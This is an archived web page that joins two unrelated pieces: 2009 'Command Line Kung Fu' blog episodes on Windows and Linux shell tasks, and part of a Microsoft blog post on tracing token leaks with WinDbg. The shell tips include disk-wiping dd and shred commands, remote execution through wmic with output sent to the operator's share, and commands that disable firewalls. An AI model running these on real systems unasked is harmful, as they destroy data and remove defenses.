    S-1-5-21-2574636452-2948509063-3462863534-1072 dog  
    S-1-5-21-2574636452-2948509063-3462863534-1074 fred  
    S-1-5-21-2574636452-2948509063-3462863534-500 Administrator  
    S-1-5-21-2574636452-2948509063-3462863534-501 Guest  
    ***** ACCOUNTSR.TXT  
    S-1-5-21-2574636452-2948509063-3462863534-1072 dog  
    S-1-5-21-2574636452-2948509063-3462863534-1064 __vmware_user__  
    S-1-5-21-2574636452-2948509063-3462863534-1006 nonadmin  
    S-1-5-21-2574636452-2948509063-3462863534-1005 skodo  
    S-1-5-21-2574636452-2948509063-3462863534-1004 HelpAssistant  
    S-1-5-21-2574636452-2948509063-3462863534-1003 ASPNET  
    S-1-5-21-2574636452-2948509063-3462863534-1002 SUPPORT_388945a0
    
[/code]

  
  
See, the frank and dog account have the same SID, as indicated on either side
of that blank line in the middle there. If there are any dupe SIDs, you'll see
that tell-tale blank line in the middle of the output. Sure, it's a kluge, but
it is a quick and dirty way of determining whether there is a duplicate in a
stream of information.  
  
And, we end on a much simpler note. Hal wants to find accounts with superuser
privileges \(UID 0 on Linux\). We can simply look for accounts in the
administrators group using:  
  

[code]

    C:\> net localgroup administrators
    
[/code]

  
  
So, there you have it. I warned you that it would get ugly, and I am to
deliver on my promises. In the end, we were able to achieve nearly all of what
Hal did in Linux, making certain assumptions.  

Posted by Hal Pomeranz at 5:00 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

## Friday, May 8, 2009

### Episode \#33: Recognizing Sub-Directories

Hal takes requests:  
  
Loyal reader Lloyd Alvarez writes in with a little problem. He's writing
Javascript that needs to get a directory listing and be able to easily
discriminate sub-directories from other objects in the directory. The trick is
that he needs code for both Unix/Linux and Windows. Well where else would you
come for that kind of service than Command Line Kung Fu blog?  
  
Turns out that Lloyd had doped out a Unix solution on his own:  
  

[code]

    $ **ls -l | gawk '{printf("%s,",$1);for(i=9;i <=NF;i++) printf("%s ",$i);printf(":")}'**  
    total,:drwxr-xr-x,dir1 :drwxr-xr-x,dir2 :-rw-r--r--,file1 :-rw-r--r--,file2 ...
    
[/code]

  
Yow\! That's some pretty ugly awk and even uglier output, but Lloyd was able
to parse the resulting stream in his Javascript and easily pick out the
directories.  
  
But let me make that even easier for you, Lloyd old buddy:  
  

[code]

    # **ls -F**  
     dir1/  dir2/  file1  file2  otherdir1/  otherdir2/  otherfile1  otherfile2
    
[/code]

  
Yep, the "-F" option causes ls to append a special character to each object in
the directory to let you know what that object is. As you can see, directories
have a "/" appended-- should be easy to pick that out of the output\! Other
suffix characters you might see include "@" for symbolic links, "\*" for
executables, and so on. Regular files get no special suffix \(see the above
output\).  
  
Maybe Lloyd would prefer to just get a list of the sub-directories without any
other directory entries:  
  

[code]

    $ **find * -maxdepth 0 -type d**  
     dir1  
    dir2  
    otherdir1  
    otherdir2
    
[/code]

  
Or if you're not into the find command:  
  

[code]

    $ **for i in *; do [ -d $i ] && echo $i; done**  
    dir1  
    dir2  
    otherdir1  
    otherdir2
    
[/code]

  
Too many choices, but then that's Unix for you\! I'll step out of the way now
and let Ed shock Lloyd with the Windows madness.  
  
Ed jumps in:  
  
Good stuff, Lloyd\! Thanks for writing in.  
  
In Windows, the easiest way to do this is to use the dir command, with the /d
option. That option is supposed to simply list things in columns, but it adds
a nice little touch -- directory names now have square brackets \[ \] on
either side of them. Check it out:  
  

[code]

    C:\> dir /d  
    [.]       [dir1]      file1        [otherdir1]       otherfile1  
    [..]      [dir2]      file2        [otherdir2]       otherfile2  
    
    
[/code]

  
So, just find and parse out those brackets, Lloyd, and you should be good to
go. Oh, and remove the . and .. if you don't want then. Unfortunately, we
cannot eliminate them with a /b \(for bare\), because that removes the
brackets.  
  
For Hal's additional fu for looking for just directories, we can rely on the
fact that Windows considers "directoriness" \(is that a word?\) as an
attribute. So, we can list only the directories using:  
  

[code]

    C:\> dir /ad /b  
    dir1  
    dir2  
    otherdir1  
    otherdir2  
    
    
[/code]

  
Or, if you want only files \(i.e., NOT directories\):  

[code]

    C:\> dir /a-d /b  
    file1  
    file2  
    otherfile1  
    otherfile2  
    
[/code]

  
  
You could do this kinda stuff with FOR /D loops as well, which give you even
more flexibility. For example, if you just want directory names with a slash
after them, to give you similar output to Hal's "ls -F", you could run:  
  

[code]

    C:\> FOR /D %i in (*) do @echo %i/  
    dir1/  
    dir2/  
    otherdir1/  
    otherdir2/  
    
[/code]

  
Or, if you really like the colons that your current scripts parse, you could
do:  
  

[code]

    C:\> FOR /D %i in (*) do @echo :%i
    
[/code]

  
By altering that echo statement, you can roll the output however you'd like.  
  
Fun, fun, fun\!

Posted by Hal Pomeranz at 5:00 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

## Wednesday, May 6, 2009

### Episode \#32: Wiping Securely

Ed gets his groove on:  
  
The Encrypted File System on Windows stinks. It's something of an
embarrassment for me that it is called EFS, because those are my initials too.
My biggest beef with EFS is that it leaves cleartext copies of files around in
unallocated space if you simply drag and drop a file into an EFS-protected
directory. No, seriously... isn't that awful? Doh\!  
  
But, included with all the stinkatude of EFS is one gem: the cipher command,
when used with the /w: option. I don't use EFS to encrypt, but often rely on
cipher to wipe. I used it just last week to help a buddy who was trying to
recondition his computer so he could give it to his son for school. He had
some work files he needed to clear out, and was planning on simply deleting
them through the recycle bin. Ouch\! That won't work very well, as those files
would still be recoverable. I broke into a mini-lesson about file systems and
secure deletion options.  
  
For wiping files, there are many good options available for download, such as
sdelete from Microsoft SysInternals or DBAN to completely blow away a file
system. But, what if you are stranded on a desert island and need to securely
delete something using only built-in tools? Windows 2000 and better \(not XP
Home... Microsoft purposely cripples that version\) have the cipher command,
which includes the /w: option to wipe the unallocated space on a volume that
you specify like this:  
  

[code]

    C:\> cipher /w:c:\folder
    
[/code]

  
This command will cause Windows to overwrite all the unallocated space on the
volume with c:\folder three times. First, it overwrites with zeros, then with
ones, and then random numbers. Unfortunately, there's no option to specify
overwriting any number of times other than three. Well, unless you want to...
uh... do the obvious:  
  

[code]

    C:\> for /L %i in (1,1,9) do @cipher /w:c:\folder
    
[/code]

  
This command will overwrite your unallocated space 27 times. Oh, and it'll
take a long time on any reasonably sized partition with a lot of open space.  
  
Whenever using cipher to wipe files, there are some hugely important notes to
keep in mind.  
  
First off, you have to include the colon between the /w and the folder name.
Do people at Microsoft stay up late at night thinking of ways to make their
syntax more horrible and inconsistent than ever, or does it just happen?  
  
Second, and this one is huge.... note that cipher won't actually delete any
current files in c:\folder or that folder itself\! A lot of people think
cipher will securely delete the folder \(c:\folder\) you specify, and that's
not right. It securely deletes all unallocated \(already deleted\) files and
folders on the entire partition that c:\folder inhabits. That's a much more
thorough \(and likely time consuming\) process, but realize that it will leave
behind c:\folder and its contents. If you want to get rid of them, delete
them, and then do a cipher /w:c:\ to wipe the whole partition.  
  
Now, there are major debates as to whether overwriting three times is enough
for a good wipe. I've read the debates, and am comfortable that, for modern
media, three times overwriting is good enough for most uses. If I need
stronger destruction of data, it's best to simply take a hammer to the hard
drive.  
  
Hal wipes out:  
  
Most Linux distros these days ship with the "shred" command, which overwrites
files and then optionally deletes them:  
  

[code]

    # **shred -n 3 -z -u myfile**
    
[/code]

  
Here "-n 3" specifies three overwrite passes, "-z" means to do a final
overwrite with zeroes \(nulls\) to make it less obvious you've been shredding
your files, and "-u" means to remove the file once the overwrites are
performed.  
  
But you should be aware that using "shred" on an individual file like we do in
the above example may still leave traces of the file on disk. That's because
most Linux systems these days use the ext3 file system, which has a file
system transaction journal. Even after using "shred" on the file, the contents
of the file may be recoverable from the journal using a tool like "ext3grep".  
  
So the most secure option is to "shred" the entire disk \(which overwrites the
journal as well\):  
  

[code]

    # **shred -n 3 -z /dev/sdb**
    
[/code]

  
In these cases, you don't want to remove the disk device file itself once
you're done with the overwriting so we leave off the "-u" option. This is also
why "-u" is a separate option that must be explicitly set-- overwriting entire
disks is the more common use case.  
  
What if you're on a non-Linux system and don't have "shred" installed? Well,
you could certainly download the "shred" source code \(or "srm", another
popular file deletion tool\). But don't forget that you also have "dd", which
I often use to wipe disks:  
  

[code]

    # **dd if=/dev/urandom of=/dev/sdb bs=4096**  
     # **dd if=/dev/zero of=/dev/sdb bs=4096**
    
[/code]

  
The first command overwrites /dev/sdb with pseudo-random data-- use
/dev/urandom instead of /dev/random for this because /dev/random can block
waiting for additional entropy. The second overwrites your disk with zeroes.
Run the commands multiple times depending on the number of overwrites you're
most comfortable with.  
  
Loyal reader Jeff McJunkin also points out that you can use "dd" to wipe the
unallocated space in a partition, just like Ed is doing with "cipher":  
  

[code]

    # **dd if=/dev/urandom of=junk bs=4096; rm junk**
    
[/code]

  
This will consume all remaining disk space in the partition with a file called
junk-- the "dd" command will stop when the partition fills-- and then removes
it immediately. Be sure to do this command as root, because the last 5% of the
space in the file system is normally reserved for root-owned processes and not
accessible to normal users.

Posted by Ed Skoudis at 6:45 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

## Monday, May 4, 2009

### Episode \#31: Remote Command Execution

Ed starts out:  
  
One of the most frequent questions I get regarding the Windows command line
involves how to run commands on a remote Windows machine and get access to the
standard output of the command. Sure, Microsoft SysInternals psexec rocks, but
it's not built in. On Linux and Unix, ssh offers some great possibilities
here, but neither ssh nor sshd are built-in to Windows \(and what's with that?
I mean... we need that. Call Microsoft right now and demand that they build in
an ssh and sshd into Windows. Installing a third-party version is certainly
doable, but we need it built in... starting about 5 years ago, thank you very
much.\)  
  
Anyway, while there are many options for running a command on a remote Windows
machine using built in tools \(such as using at, schtasks, or sc\), one of my
faves is good old WMIC:  
  

[code]

    C:\> wmic /node:[targetIPaddr] /user:[admin] process call create "cmd.exe /c [command]"
    
[/code]

  
  
That'll run \[command\] on the target, after prompting you for the given
admin's password.  
  
You won't see the standard output, though.  
  
To get that, change it to:  
  
  

[code]

    C:\> wmic /node:[targetIPaddr] /user:[admin] process call create "cmd.exe /c [command] >>   
    \\[YourIPaddr]\[YourShare]\results.txt"
    
[/code]

  
  
Make sure you have \[YourShare\] open on your box so the target machine and
\[admin\] user can write to your share. The results.txt file will have your
standard output of the command once it is finished.  
  
Oh, and to execute a command en mass on a bunch of targets, you could use
/node:@\[filename.txt\], in which the filename has one line per machine name
or IP address on which you want to run the given command.  
  
Not nearly as elegant as what I'm sure my sparring partners will come up with
for Linux, but it is workable.  
  
Hal Replies:  
  
Thanks for throwing us a bone here, Ed. With SSH built into every modern Unix-
like operating system, remote commands are straightforward:  
  

[code]

    $ **ssh remotehost df -h**
    
[/code]

  
Sometimes, however, you need to SSH as a different user-- maybe you're root on
the local machine, but the remote system doesn't allow you to SSH directly as
root, so you have to use your normal user account. There's always the "-l"
option:  
  

[code]

    $ **ssh -l pomeranz remotehost df -h**
    
[/code]

  
But what if you want to scp files as an alternate user? The scp command
doesn't have a command line option like "-l" to specify an alternate user.  
  
One little-known trick is that both ssh and scp support the old "user@host"
syntax that's been around since the rlogin days. So these commands are
equivalent:  
  

[code]

    $ **ssh -l pomeranz remotehost df -h**  
     $ **ssh pomeranz@remotehost df -h**
    
[/code]

  
Personally, I never use "-l"-- I find "user@host" more natural to type and it
works consistently across a large number of SSH-based utilities, including
rsync.  
  
Unlike wmic, SSH does not have built-in support for running the same command
on several targets. The "Unix design religion" is that you're supposed to do
this with other shell primatives:  
  

[code]

    $ **for h in $( < targets); do echo ===== $h; ssh $h df -h; done**
    
[/code]

  
By the way, note the "$\(< targets\)" syntax in the above loop, which is just
a convenient alternate form of "\`cat targets\`".  
  
Unfortunately, the above loop is kind of slow if you have a lot of targets,
because the commands are run in serial fashion. You could add some shell fu to
background each ssh command so that they run in parallel:  
  

[code]

    $ **for h in $( < targets); do (echo ===== $h; ssh $h df -h) & done**
    
[/code]

  
Unfortunately, this causes the output to be all garbled because different
commands return at different speeds.  
  
Frankly, you're better off using any of the many available Open Source
utilities for parallelizing SSH commands. Some examples include sshmux,
clusterssh, and fanout \(which was written by our friend and fellow SANS
Instructor, Bill Stearns\). Please bear in mind, however, that while remote
SSH commands allow you to easily shoot yourself in the foot, these
parallelized SSH tools allow you to simultaneously shoot yourself in both
feet, both hands, the head, and every major internal organ all at the same
time. Take care when doing these sorts of things as root.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

## Friday, May 1, 2009

### Episode \#30: Twiddling with the Firewall

Ed kicks it off:  
  
One of the real gems of the Windows command line is netsh. I use it all the
time. In Episode \#2, about a thousand years ago \(gosh... can it be only 2
months?\), we talked about using netsh \(yeah, and iptables\) to display
firewall config information. But, you know, there are some commands I run even
more often that alter the firewall.  
  
In particular, if I'm in my lab doing an analysis that requires me to shut off
the built-in Windows firewall, or when I'm conducting a pen test and want to
hack naked without a firewall, I drop the firewall with:  
  

[code]

    C:\> netsh firewall set opmode disable
    
[/code]

  
  
That's soooo much easier than digging through the blasted GUI to find where
Microsoft buried the firewall configuration in the given version of Windows.  
  
Simple command, but I use it all the time.  
  
To turn it back on, you'd run:  
  

[code]

    C:\> netsh firewall set opmode enable
    
[/code]

  
  
If you want to poke holes through the firewall based on port, you could run:  
  

[code]

    C:\> netsh firewall add portopening protocol = [TCP|UDP] port = [portnum] name = [NameOfRule]  
        mode = enable scope = custom addresses = [allowedIPaddr]
    
[/code]

  
  
This syntax would configure the firewall to allow traffic in for the port you
specify only if it comes from allowedIPaddr, to make your rule a little safer.  
  
And, to remove the rule, just change "add" to "del", and only type in the
command up to the port number.  
  
Finally, as we mentioned in Episode \#2, to show the overall config of the
firewall, you can run:  
  

[code]

    C:\> netsh firewall show config
    
[/code]

  
  
Hal chimes in:  
  
Firewall software is another one of those areas where there are a number of
competing options on different Unix/Linux platforms. For example you've got
ipfilter on Solaris and \{Free,Net\}BSD, pf on OpenBSD, and IP Tables on
Linux. I'm going to stick with IP Tables for purposes of this discussion,
since it's probably what most of you all deal with the most.  
  
Unfortunately, IP Tables is rather cranky to work with from the command line
if you stick with the basic "iptables" command. The developers tried to smash
all of the possible functionality configuration options into a single command,
and IP Tables is capable of some complicated stuff. The result, however, is
that there's a pretty steep learning curve for doing even basic operations.
This is why simplified firewall configuration GUIs are provided by the major
Linux distributions.  
  
But let's try and cover some of the same command-line territory that Ed does
in his Windows examples. First, as far as starting and stopping the firewall
goes, your best bet is to just run "/etc/init.d/iptables \[start|stop\]" as
root. The init script hides a lot of complexity around loading and unloading
kernel modules, firewall rules, and default packet handling policies. For
example, here are the manual command equivalents for "/etc/init.d/iptables
stop":  
  

[code]

      
    # **iptables -P INPUT ACCEPT**  
     # **iptables -P OUTPUT ACCEPT**  
     # **iptables -P FORWARD ACCEPT**  
     # **iptables -F**
    
[/code]

  
Yep, four commands-- and that's without even showing you the commands that
some init scripts use to unload the IP Tables kernel modules. The first three
commands above set the default permit \("ACCEPT"\) policy \("-P"\) for inbound
\("INPUT"\) and outbound \("OUTPUT"\) packets, as well as for packets being
passed through the system \("FORWARD"\). It's possible that your particular
firewall configuration doesn't change the default policies to block packets
\("DROP"\), but it's best to be sure. The final "iptables -F" command flushes
all filtering rules, which means all packets will now simply be handled by the
default "ACCEPT" policies.  
  
The simplest possible example of adding a rule to allowing traffic into your
system on a particular port would be something like:  
  

[code]

    # **iptables -A INPUT -p tcp --dport 80 -j ACCEPT**
    
[/code]

  
This allows \("-j ACCEPT"\) inbound traffic \("-A INPUT"\) on 80/tcp \("-p tcp
--dport 80"\). Deleting the rule is as simple as running the same command but
with a "-D INPUT" option \(delete from the "INPUT" chain\) instead of "-A
INPUT" \(add to the "INPUT" chain\).  
  
However, depending on how your particular Linux vendor sets up their firewall,
adding rules directly to the "INPUT" chain may not be the right thing to do.
Many vendors set up their own rule chains that pre-empt the default chains.
Also, you may have to add rules to the "OUTPUT" chain \(or vendor-specific
equivalent\) to allow the return packets to escape your host, unless you have
a "default permit" configuration in the outgoing direction. For these reasons,
it's best to inspect your current rule sets \("iptables -L -v"\) before making
changes.  
  
I should mention that a simplified command-line interface is now becoming
available in some Linux distributions, notably Ubuntu. If all you're
interested in is a host-based firewall, the "ufw" command makes configuration
and maintenance much easier. Here are some sample "ufw" commands:  
  

[code]

    # **ufw enable**                # enable filtering  
    # **ufw disable**               # turn off firewall  
    # **ufw status**                # show current rules  
    # **ufw allow 80/tcp**          # allow 80/tcp to any IP on this host  
    # **ufw delete allow 80/tcp**   # delete above rule
    
[/code]

  
You can also do more complex rules like:  
  

[code]

    # **ufw allow proto tcp from 1.2.3.4 to any port 25**
    
[/code]

  
If you're more used to Cisco extended ACL syntax, or use ipfilter on other
Unix systems, the "ufw" command-line syntax will be pretty natural for you.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1522.gif' width='18'
height='18' />

June 2009 April 2009 Home

Subscribe to: Posts \(Atom\)

## Followers

  *[5:00 AM]: 2009-05-01T05:00:00-04:00
  *[6:45 AM]: 2009-05-06T06:45:00-04:00

# Using Debugging Tools to Find Token and Session Leaks

**Created:**| _6/29/2017 4:16:42 PM_  
---|---  
**Updated:**| _6/29/2017 4:16:42 PM_  
**Author:**| __  
**Tags:**| _Debugging_  
  

  

# Using Debugging Tools to Find Token and Session Leaks

★★★★★

★★★★

★★★

★★

★

April 5, 2017 by Ryan Ries \[MSFT\] // 11 Comments

  * Share
  * 264
  * 39

Hello AskDS readers and Identity aficionados. Long time no blog.

Ryan Ries here, and today I have a relatively “hardcore” blog post that will
not be for the faint of heart. However, it’s about an important topic.

The behavior surrounding security tokens and logon sessions has recently
changed on all supported versions of Windows. IT professionals – developers
and administrators alike – should understand what this new behavior is, how it
can affect them, and how to troubleshoot it.

But first, a little background…

<img src='img/tokens.png' width='394' height='302' alt='Figure 1 - Tokens' />

Figure 1 – Tokens

Windows uses security tokens \(or access tokens\) extensively to control
access to system resources. Every thread running on the system uses a security
token, and may own several at a time. Threads inherit the security tokens of
their parent processes by default, but they may also use special security
tokens that represent other identities in an activity known as impersonation.
Since security tokens are used to grant access to resources, they should be
treated as highly sensitive, because if a malicious user can gain access to
someone else’s security token, they will be able to access resources that they
would not normally be authorized to access.

_Note: Here are some additional references you should read first if you want
to know more about access tokens:_

  * _What’s in a Token_
  * _What’s in a Token Part 2 – Impersonation_
  * __Windows Internals, 6 th Ed. Chapter 6__

If you are an application developer, your application or service may want to
create or duplicate tokens for the legitimate purpose of impersonating another
user. A typical example would be a server application that wants to
impersonate a client to verify that the client has permissions to access a
file or database. The application or service must be diligent in how it
handles these access tokens by releasing/destroying them as soon as they are
no longer needed. If the code fails to call the CloseHandle function on a
token handle, that token can then be “leaked” and remain in memory long after
it is no longer needed.

And that brings us to Microsoft Security Bulletin MS16-111.

Here is an excerpt from that Security Bulletin:

> Multiple Windows session object elevation of privilege vulnerabilities exist
> in the way that Windows handles session objects.
> A locally authenticated attacker who successfully exploited the
> vulnerabilities could hijack the session of another user.  
>  To exploit the vulnerabilities, the attacker could run a specially crafted
> application.  
>  The update corrects how Windows handles session objects to prevent user
> session hijacking.
Those vulnerabilities were fixed with that update, and I won’t further expound
on the “hacking/exploiting” aspect of this topic. We’re here to explore this
from a debugging perspective.

This update is significant because it changes how the relationship between
tokens and logon sessions is treated across all supported versions of Windows
going forward. Applications and services that erroneously leak tokens have
always been with us, but the penalty paid for leaking tokens is now greater
than before. After MS16-111, when security tokens are leaked, the logon
sessions associated with those security tokens also remain on the system until
all associated tokens are closed… even after the user has logged off the
system. If the tokens associated with a given logon session are never
released, then the system now also has a permanent logon session leak as well.
If this leak happens often enough, such as on a busy Remote Desktop/Terminal
Server where users are logging on and off frequently, it can lead to resource
exhaustion on the server, performance issues and denial of service, ultimately
causing the system to require a reboot to be returned to service.

Therefore, it’s more important than ever to be able to identify the symptoms
of token and session leaks, track down token leaks on your systems, and get
your application vendors to fix them.

**How Do I Know If My Server Has Leaks?**

As mentioned earlier, this problem affects heavily-utilized Remote Desktop
Session Host servers the most, because users are constantly logging on and
logging off the server. The issue is not limited to Remote Desktop servers,
but symptoms will be most obvious there.

Figuring out that you have logon session leaks is the easy part. Just run
qwinsta at a command prompt:

<img src='img/qwinsta.png' width='621' height='250' alt='Figure 2 - qwinsta'
/>

Figure 2 – qwinsta

Pay close attention to the session ID numbers, and notice the large gap
between session 2 and session 152. This is the clue that the server has a
logon session leak problem. The next user that logs on will get session 153,
the next user will get session 154, the next user will get session 155, and so
on. But the session IDs will never be reused. We have 150 “leaked” sessions in
the screenshot above, where no one is logged on to those sessions, no one will
ever be able to log on to those sessions ever again \(until a reboot,\) yet
they remain on the system indefinitely. This means each user who logs onto the
system is inadvertently leaving tokens lying around in memory, probably
because some application or service on the system duplicated the user’s token
and didn’t release it. These leaked sessions will forever be unusable and soak
up system resources. And the problem will only get worse as users continue to
log on to the system. In an optimal situation where there were no leaks,
sessions 3-151 would have been destroyed after the users logged out and the
resources consumed by those sessions would then be reusable by subsequent
logons.

**How Do I Find Out Who’s Responsible?**

Now that you know you have a problem, next you need to track down the
application or service that is responsible for leaking access tokens. When an
access token is created, the token is associated to the logon session of the
user who is represented by the token, and an internal reference count is
incremented. The reference count is decremented whenever the token is
destroyed. If the reference count never reaches zero, then the logon session
is never destroyed or reused. Therefore, to resolve the logon session leak
problem, you must resolve the underlying token leak problem\(s\). It’s an all-
or-nothing deal. If you fix 10 token leaks in your code but miss 1, the logon
session leak will still be present as if you had fixed none.

Before we proceed: I would recommend debugging this issue on a lab machine,
rather than on a production machine. If you have a logon session leak problem
on your production machine, but don’t know where it’s coming from, then
install all the same software on a lab machine as you have on the production
machine, and use that for your diagnostic efforts. You’ll see in just a second
why you probably don’t want to do this in production.

The first step to tracking down the token leaks is to enable token leak
tracking on the system.

Modify this registry setting:

[code]

    HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel
        SeTokenLeakDiag = 1 (DWORD)
    
[/code]

The registry setting won’t exist by default unless you’ve done this before, so
create it. It also did not exist prior to MS16-111, so don’t expect it to do
anything if the system does not have MS16-111 installed. This registry setting
enables extra accounting on token issuance that you will be able to detect in
a debugger, and there may be a noticeable performance impact on busy servers.
Therefore, it is not recommended to leave this setting in place unless you are
actively debugging a problem. \(i.e. don’t do it in production exhibit A.\)

Prior to the existence of this registry setting, token leak tracing of this
kind used to require using a checked build of Windows. And Microsoft seems to
not be releasing a checked build of Server 2016, so… good timing.

Next, you need to configure the server to take a full or kernel memory dump
when it crashes. \(A live kernel debug may also be an option, but that is
outside the scope of this article.\) I recommend using DumpConfigurator to
configure the computer for complete crash dumps. A kernel dump should be
enough to see most of what we need, but get a Complete dump if you can.

<img src='img/dumpconfigurator1.png' width='860' height='451' alt='Figure 3 -
DumpConfigurator' />

Figure 3 – DumpConfigurator

Then reboot the server for the settings to take effect.

Next, you need users to log on and off the server, so that the logon session
IDs continue to climb. Since you’re doing this in a lab environment, you might
want to use a script to automatically logon and logoff a set of test users.
\(I provided a sample script for you here.\) Make sure you’ve waited 10
minutes after the users have logged off to verify that their logon sessions
are permanently leaked before proceeding.

Finally, crash the box. Yep, just crash it. \(i.e. don’t do it in production
exhibit B.\) On a physical machine, this can be done by hitting Right-
Ctrl+Scroll+Scroll if you configured the appropriate setting with
DumpConfigurator earlier. If this is a Hyper-V machine, you can use the
following PowerShell cmdlet on the Hyper-V host:

[code]

    Debug-VM -VM (Get-VM RDS1) -InjectNonMaskableInterrupt
[/code]

You may have at your disposal other means of getting a non-maskable interrupt
to the machine, such as an out-of-band management card \(iLO/DRAC, etc.,\) but
the point is to deliver an NMI to the machine, and it will bugcheck and
generate a memory dump.

Now transfer the memory dump file \(C:\Windows\Memory.dmp usually\) to
whatever workstation you will use to perform your analysis.

_Note: Memory dumps may contain sensitive information, such as passwords, so
be mindful when sharing them with strangers._

Next, install the Windows Debugging Tools on your workstation if they’re not
already installed. I downloaded mine for this demo from the Windows Insider
Preview SDK here. But they also come with the SDK, the WDK, WPT, Visual
Studio, etc. The more recent the version, the better.

Next, download the MEX Debugging Extension for WinDbg. Engineers within
Microsoft have been using the MEX debugger extension for years, but only
recently has a public version of the extension been made available. The public
version is stripped-down compared to the internal version, but it’s still
quite useful. Unpack the file and place mex.dll into your C:\Debuggers\winext
directory, or wherever you installed WinDbg.

Now, ensure that your symbol path is configured correctly to use the Microsoft
public symbol server within WinDbg:

<img src='img/sympath.png' width='596' height='263' alt='Figure 4 - Example
Symbol Path in WinDbg' />

Figure 4 – Example Symbol Path in WinDbg

The example symbol path above tells WinDbg to download symbols from the
specified URL, and store them in your local C:\Symbols directory.

Finally, you are ready to open your crash dump in WinDbg:

<img src='img/opencrashdump.png' width='415' height='428' alt='Figure 5 - Open
Crash Dump from WinDbg' />

Figure 5 – Open Crash Dump from WinDbg

After opening the crash dump, the first thing you’ll want to do is load the
MEX debugging extension that you downloaded earlier, by typing the command:

<img src='img/loadmex.png' width='269' height='128' alt='Figure 6 - .load mex'
/>

Figure 6 – .load mex

The next thing you probably want to do is start a log file. It will record
everything that goes on during this debugging session, so that you can refer
to it later in case you forgot what you did or where you left off.

<img src='img/logopen.png' width='652' height='106' alt='Figure 7 - !logopen'
/>

Figure 7 – \!logopen

Another useful command that is among the first things I always run is
\!DumpInfo, abbreviated \!di, which simply gives some useful basic information
about the memory dump itself, so that you can verify at a glance that you’ve
got the correct dump file, which machine it came from and what type of memory
dump it is.

<img src='img/dumpinfo.png' width='620' height='240' alt='Figure 8 -
!DumpInfo' />

Figure 8 – \!DumpInfo

You’re ready to start debugging.

At this point, I have good news and I have bad news.

The good news is that there already exists a super-handy debugger extension
that lists all the logon session kernel objects, their associated token
reference counts, what process was responsible for creating the token, and
even the token creation stack, all with a single command\! It’s  
\!kdexts.logonsession, and it is _awesome_.

The bad news is that it doesn’t work… not with public symbols. It only works
with private symbols. Here is what it looks like with public symbols:

<img src='img/logonsessionwithpublics.png' width='1163' height='247'
alt='Figure 9 - !kdexts.logonsession - public symbols lead to lackluster
output' />

Figure 9 – \!kdexts.logonsession – public symbols lead to lackluster output

As you can see, most of the useful stuff is zeroed out.

Since public symbols are all you have unless you work at Microsoft, \(and we
wish you did,\) I’m going to teach you how to do what  
\!kdexts.logonsession does, manually. The hard way. Plus some extra stuff.
Buckle up.

First, you should verify whether token leak tracking was turned on when this
dump was taken. \(That was the registry setting mentioned earlier.\)

<img src='img/setokenleaktracking.png' width='530' height='72' alt='Figure 10
- SeTokenLeakTracking = <no type information>' />

Figure 10 – x nt\!SeTokenLeakTracking = <no type information>

OK… That was not very useful. We’re getting <no type information> because
we’re using public symbols. But this symbol corresponds to the SeTokenLeakDiag
registry setting that we configured earlier, and we know that’s just 0 or 1,
so we can just guess what type it is:

<img src='img/setokenleaktracking2.png' width='307' height='73' alt='Figure 11
- db nt!SeTokenLeakTracking L1' />

Figure 11 – db nt\!SeTokenLeakTracking L1

The db command means “dump bytes.” \(dd, or “dump DWORDs,” would have worked
just as well.\) You should have a symbol for  
nt\!SeTokenLeakTracking if you configured your symbol path properly, and the
L1 tells the debugger to just dump the first byte it finds. It should be
either 0 or 1. If it’s 0, then the registry setting that we talked about
earlier was not set properly, and you can basically just discard this dump
file and get a new one. If it’s 1, you’re in business and may proceed.

Next, you need to locate the logon session lists.

<img src='img/seplogonsessionslist.png' width='305' height='73' alt='Figure 12
- dp nt!SepLogonSessions L1' />

Figure 12 – dp nt\!SepLogonSessions L1

Like the previous step, dp means “display pointer,” then the name of the
symbol, and L1 to just display a single pointer. The 64-bit value on the right
is the pointer, and the 64-bit value on the left is the memory address of that
pointer.

Now we know where our lists of logon sessions begin. \(Lists, plural.\)

The SepLogonSessions pointer points to not just a list, but an array of lists.
These lists are made up of \_SEP\_LOGON\_SESSION\_REFERENCES structures.

Using the dps command \(display contiguous pointers\) and specifying the
beginning of the array that we got from the last step, we can now see where
each of the lists in the array begins:

<img src='img/dps1.png' width='345' height='277' alt='Figure 13 - dps
0xffffb808`3ea02650 – displaying pointers that point to the beginning of each
list in the array' />

Figure 13 – dps 0xffffb808\`3ea02650 – displaying pointers that point to the
beginning of each list in the array

If there were not very many logon sessions on the system when the memory dump
was taken, you might notice that not all the lists are populated:

<img src='img/emptylogonsessionlists.png' width='337' height='251' alt='Figure
14 - Some of the logon session lists are empty because not very many users had
logged on in this example' />

Figure 14 – Some of the logon session lists are empty because not very many
users had logged on in this example

The array doesn’t fill up contiguously, which is a bummer. You’ll have to skip
over the empty lists.

If we wanted to walk just the first list in the array \(we’ll talk more about
dt and linked lists in just a minute,\) it would look something like this:

<img src='img/walkinglist1.png' width='721' height='273' alt='Figure 15 -
Walking the first list in the array and using !grep to filter the output' />

Figure 15 – Walking the first list in the array and using \!grep to filter the
output

Notice that I used the \!grep command to filter the output for the sake of
brevity and readability. It’s part of the Mex debugger extension. I told you
it was handy. If you omit the \!grep AccountName part, you would get the full,
unfiltered output. I chose “AccountName” arbitrarily as a keyword because I
knew that was a word that was unique to each element in the list. \!grep will
only display lines that contain the keyword\(s\) that you specify.

Next, if we wanted to walk through the entire array of lists all at once, it
might look something like this:

<img src='img/walkingallthelists.png' width='1031' height='80' alt='Figure 16
- Walking through the entire array of lists!' />

Figure 16 – Walking through the entire array of lists\!

OK, I realize that I just went bananas there, but I’ll explain what just
happened step-by-step.

When you are using the Mex debugger extension, you have access to many new
text parsing and filtering commands that can truly enhance your debugging
experience. When you look at a long command like the one I just showed, read
it from right to left. The commands on the right are fed into the command to
their left.

So from right to left, let’s start with \!cut -f 2 dps ffffb808\`3ea02650

We already showed what the dps <address> command did earlier. The \!cut -f 2
command filters that command’s output so that it only displays the second part
of each line separated by whitespace. So essentially, it will display only the
pointers themselves, and not their memory addresses.

Like this:

<img src='img/cut1.png' width='324' height='269' alt='Figure 17 - Using !cut
to select just the second token in each line of output' />

Figure 17 – Using \!cut to select just the second token in each line of output

Then that is “piped” line-by-line into the next command to the left, which
was:

